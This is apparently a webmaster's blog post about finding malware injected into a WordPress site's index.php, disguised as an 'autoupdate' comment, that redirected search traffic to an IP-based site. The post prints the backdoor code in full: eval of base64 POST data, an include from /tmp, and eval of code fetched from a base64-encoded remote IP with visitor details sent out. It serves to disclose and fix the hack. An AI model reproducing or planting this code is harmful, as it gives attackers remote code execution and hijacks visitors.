NASTY CODE hacks onto your domain. FIX included.

I’ve just finished moving my site to a new server, so I started running checks… Google Webmaster Tools, Error document handling, SERPs… then I discovered Google’s index of my site has pages that are not existent on my site… and the scary thing is when these pages are clicked, they are redirected to an IP address based site.

I was scared, how can that be, that these pages are redirecting to an external site… Upon digging and sniffing for a clue, I stumbled apon this line of code on index.php

<?php //@WPEUpdate 2.12.76
// Do Not Delete!
//
// This is wordpress autoupdate code.
//
// (c) WordPress. Codeart.
//
/*	if (isset($_POST['wp_ping'])) eval(base64_decode($_POST['wp_ping']));
	@include('/tmp/wp_filter/code');
	if (isset($_GET['p']) && (!is_numeric($_GET['p']) || $_GET['p'] > 50000)) eval(file_get_contents(base64_decode('aHR0cDovLzIwMi43NS4zNS4xOTgv=').'/cp.php?host='.urlencode($_SERVER['HTTP_HOST']).'&p='.$_GET['p'].'&ref='.urlencode($_SERVER['HTTP_REFERER']).'&ua='.urlencode($_SERVER['HTTP_USER_AGENT'])."&uri=".urlencode($_SERVER['REQUEST_URI'])."&ip=".urlencode($_SERVER['REMOTE_ADDR'])));
//@?> <?php
/* Short and sweet */
define('WP_USE_THEMES', true);
require('./wp-blog-header.php');
?>

the part below is the hack code that was planted somehow somewhere (not sure if on my new server or on the old server)

/*	if (isset($_POST['wp_ping'])) eval(base64_decode($_POST['wp_ping']));
	@include('/tmp/wp_filter/code');
	if (isset($_GET['p']) && (!is_numeric($_GET['p']) || $_GET['p'] > 50000)) eval(file_get_contents(base64_decode('aHR0cDovLzIwMi43NS4zNS4xOTgv=').'/cp.php?host='.urlencode($_SERVER['HTTP_HOST']).'&p='.$_GET['p'].'&ref='.urlencode($_SERVER['HTTP_REFERER']).'&ua='.urlencode($_SERVER['HTTP_USER_AGENT'])."&uri=".urlencode($_SERVER['REQUEST_URI'])."&ip=".urlencode($_SERVER['REMOTE_ADDR'])));

WHICH translates to this header directive…

<br />
<b>Warning</b>:  file_get_contents(http://202.75.35.198//cp.php?host=www.any-domain-here.com&amp;p=437682&amp;ref=&amp;ua=Mozilla%2F5.0+%28compatible%3B+Googlebot%2F2.1%3B+%2Bhttp%3A%2F%2Fwww.google.com%2Fbot.html%29&amp;uri=%2F%3Fp%3D437682&amp;ip=66.249.71.215) [<a href='function.file-get-contents'>function.file-get-contents</a>]: failed to open stream: HTTP request failed!  in <b>/home/any-domain-here/public_html/index.php</b> on line <b>10</b><br />

NASTY! UNTIL I removed the above code on my site’s index.php, all pages were being redirected to the malicious and rogue IP-based site ( 202.75.35.198 )…
